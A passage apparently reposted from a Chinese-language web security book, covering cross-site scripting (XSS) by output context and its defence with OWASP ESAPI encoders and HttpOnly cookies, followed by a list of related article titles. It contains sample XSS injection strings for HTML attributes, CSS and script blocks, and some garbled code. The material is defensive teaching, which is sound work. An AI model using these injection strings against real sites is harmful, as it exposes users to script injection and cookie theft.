<img src="x. jpg" onerror="${xss}" />
<input type="text" name="username" value="test" onclick="fun('${xss}')" />
攻擊的方法同樣是進行閉合,如:
<input type="text" value="test" οnclick="fun('')" οnkeyup= "alert(/xss/);//')" />
<input type="text" value="test" onclick="fun('1') ;alert(/xss/);//')" />
(4)在CSS中輸出
<style type="text/css">
body {background- image: url(${xss});}
body {background- image: expression(${xss});}
</style>
在CSS中輸出同樣存在XSS的風險,如:
body {background- image: url ("javascript :alert('XSS')");}
body {background- image: expression (alert (/XSS/));}
(5)在Script標籤中輸出
<script>
var username = "$ {username} ";
</script>
這裡的側重點仍然是閉合標籤,比如:
var username = "1";alert (/xss/);//";
以上是最常見到的XSS 場景,OWASP Esapi很好地解決了這些場景的安全問題,在OWASP Esapi“org owasp.esapi.codecs"包中提供了一系列的編碼操作,其中包括HTML編碼、JavaScript編碼、VBSeript 編碼、CSS編碼、SQL編碼等。下面將介紹這些常見的編碼器。
(1)HTML編碼操作
對於HTML編碼,可以使用下面的介面:
String str = ESAPI. encoder () .encodeForHTML (Strint input) ;
使用這個介面可以對字串進行HTML編碼,它採用的編碼器是HTMLEntityCodec。如果是空格、字母或者是數字,就不編碼,如果有特殊字元在HTML中就替換。例如,引號(" )可以被“""代替,小於號(<)可以被“<”代替,大於(>)可以被“>”代替,其他字元使用“&#x” +十六進位制字元+“;”代替。
而且OWASP 還有專門應用對HTML屬性的編碼操作類,介面如下:
String str = ESAPI.encoder ()。encodeForHTMLAttribute (String input) ;
ForHTMLAttribute()與encodeForHTML()方法在程式碼實現上基本相同,對字串
<imgsrc=x.jpg onerror- alrt(xss)/>
使用ForHTMLAttribute()方法編碼操作。
使用encodeForHTMLAtribute()方法編碼後,可以發現編碼後的字串已經“面目全非”,不過沒關係,普通使用者只關注瀏覽器顯示的頁面,而很少看HTML原始碼,經過瀏覽器的解析後,這串“亂碼”的最終顯示結果為
<img src=xjpg onerror- alert(xss/)/>
XSS 漏洞也不再存在。
(2) CSS 編碼
對輸入、輸出的CSS編碼,介面如下:
String str = ESAPI.encoder().encodeForCss (String input) ;
Css編碼器是CSSCodec,編碼原理是通過反斜槓() 加上十六進位制數進行編碼,與其他的編碼方案不同,其他的編碼如果是十六進位制數,一般都會加上 “X",而CSS則不需要,但仍然是十六進位制數。轉換最終的呼叫方法如下:
public String encodeCharacter (Character c) {
char ch = c. charValue() ;
if (UNENCODED_ SET . contains (c))
return c. toString() ;
// Css 2.1 section 4.1.3: "It is undefined in CSS 2.1
// what happens if a style sheet does contain a character
// with Unicode codepoint zero."
if(ch == 0)
throw new IllegalArgumentException ("Chracter value zero is not valid in CSS");
// otherwise encode with \HHHHH
String temp = Integer . toHexString((int) ch);
return "\\" + temp. toUpperCase() + " ";
}
(3) JavaScript 編碼
對輸入、輸出的JavaScript編碼,介面如下:
String str = ESAPI . encoder () . encodeForJavaScript (String input) ; .
JavaScript編碼是JavaScriptCodec類實現的,最終呼叫方法如下:
public String encodeCharacter( Character c ) {
char ch = c.charValue();
switch (ch)
{
case 0x00:
return "\\0";
case 0x08:
return "\\b";
case 0x09:
return "\\t";
case 0x0a:
return "\\n";
case 0x0b:
return "\\v";
case 0x0c:
return "\\f";
case 0x0d:
return "\\r";
case 0x22:
return "\\\"";
case 0x27:
return "\\'";
case 0x5c:
return "\\\";
// encode up to 255 with \\xHH
String temp = Integer. toHexString( (int)ch) ;
if( ch<=255 ) {
String pad = "00" . substring (temp. length() ) ;
return "\\x" + pad + temp. toUpperCase();
}
// otherwise encode with \ \uHHHH
String pad = "0000" . substring (temp. length() );
return "\\u" + pad + temp. toUpperCase() ;
}
防禦XSS沒有那麼難,只要把控好輸入與輸出點,針對性地過濾、轉義,就能杜絕XSS 跨站漏洞。
7.5.2 HttpOnly
嚴格地說,HttpOnly 對防禦XSS 漏洞不起作用,而主要目的是為了解決XSS漏洞後續的Cookie 劫持攻擊。
HttpOnly 是微軟公司的Internet Explorer 6 SP1引入的一項新特性。這個特性為Cookie 提供了一個新屬性,用以阻止客戶端指令碼訪問Cookie。至今已經成為一個標準,幾乎所有的瀏覽器都會支援HttpOnly。
在介紹XSS會話劫持時,詳細介紹了Cookie 的儲存格式,並且演示瞭如何使用JavaScript 獲取Cookie。一個伺服器可能會向伺服器端傳送多條Cookie,但是帶有HttpOnly 的Cookie,JavaScript將不能獲取。HttpOnlyTest.php 程式碼如下:
<?php
header ("Set -Cookie: username=root") ;
header ("Set-Cookie: password=password; http0nly" , false);\ .
?>
訪問HttpOnlyTest.php,使用Firefox 瀏覽器檢視Cookie,可以看到password欄位後面有了httpOnly。這樣就代表JavaScript將不能獲取被HtpOnly標註的Cookie值。
在身份標識欄位使用HttpOnly 可以有效地阻擋XSS會話劫持攻擊,但卻不能夠完全阻擋XSS 攻擊。因為XSS 攻擊的手段太多:模擬使用者“正常”操作、盜取使用者資訊、釣魚等,僅靠HttpOnly 是不夠的,防禦的關鍵還是要靠過濾輸入與輸出。
7.6 小結
本章講述了XSs攻擊的原理及XSS攻擊案例。
對於xSs跨站指令碼攻擊漏洞,其攻擊手段雖然層出不窮,但都可以徹底解決。最重要的是,能夠真正掌控“輸入與輸出”。
相關文章
- 跨站指令碼漏洞指令碼
- XSS跨站指令碼攻擊介紹指令碼
- Web安全之跨站指令碼攻擊(XSS)Web指令碼
- Spring中防止跨站指令碼 (XSS)攻擊Spring指令碼
- XSS - 跨站指令碼之portswigger labs練習指令碼
- 聊兩句XSS(跨站指令碼攻擊)指令碼
- 簡單易懂的XSS(跨站指令碼攻擊)指令碼
- jQuery 跨站指令碼漏洞影響大量網站jQuery指令碼網站
- [Asp.Net Core] 網站中的XSS跨站指令碼攻擊和防範ASP.NET網站指令碼
- 程式碼安全測試第十五期:跨站指令碼漏洞指令碼
- 網站漏洞修補之ECshop4.0跨站指令碼攻擊修復網站指令碼
- 在Linux中,如何檢測和防止SQL隱碼攻擊和跨站指令碼(XSS)攻擊?LinuxSQL指令碼
- 寬位元組XSS跨站攻擊
- 二十七:XSS跨站之程式碼及httponly繞過HTTP
- XSS漏洞
- 總結 XSS 與 CSRF 兩種跨站攻擊
- 通過程式碼審計找出網站中的XSS漏洞實戰(三)網站
- 通過程式碼審計找出網站中的 XSS 漏洞實戰 (三)網站
- 10分鐘走進安全/滲透測試:用最簡單的話聊一聊(XSS)跨站指令碼攻擊指令碼
- XSS漏洞釣魚
- CSRF跨站請求偽造漏洞分析
- 快速找出網站中可能存在的XSS漏洞實踐(一)網站
- 【JAVA-WEB常見漏洞-XSS漏洞】JavaWeb
- 如何進行滲透測試XSS跨站攻擊檢測
- 網站安全漏洞之SESSION防跨站攻擊獲取網站Session
- 通過Web安全工具Burpsuite找出網站中的XSS漏洞實戰(二)WebUI網站
- php xss 反序列化漏洞PHP
- Python-FTP漏洞掃描指令碼PythonFTP指令碼
- Python指令碼檢測笑臉漏洞Python指令碼
- 通過Web安全工具Burp suite找出網站中的XSS漏洞實戰(二)WebUI網站
- 編寫自己的Acunetix WVS漏洞指令碼指令碼
- Web 安全漏洞之 XSS 攻擊Web
- 網站存在漏洞怎麼修復 如何修補網站程式程式碼漏洞網站
- Anchor CMS 0.12.7 跨站請求偽造漏洞(CVE-2020-23342)
- katoto站點被注入指令碼攻擊指令碼
- CVE-2016-0189 vbs指令碼引擎損壞漏洞分析指令碼
- centos 監控web站點是否500 指令碼CentOSWeb指令碼
- phpcms網站漏洞修復遠端程式碼寫入快取漏洞利用PHP網站快取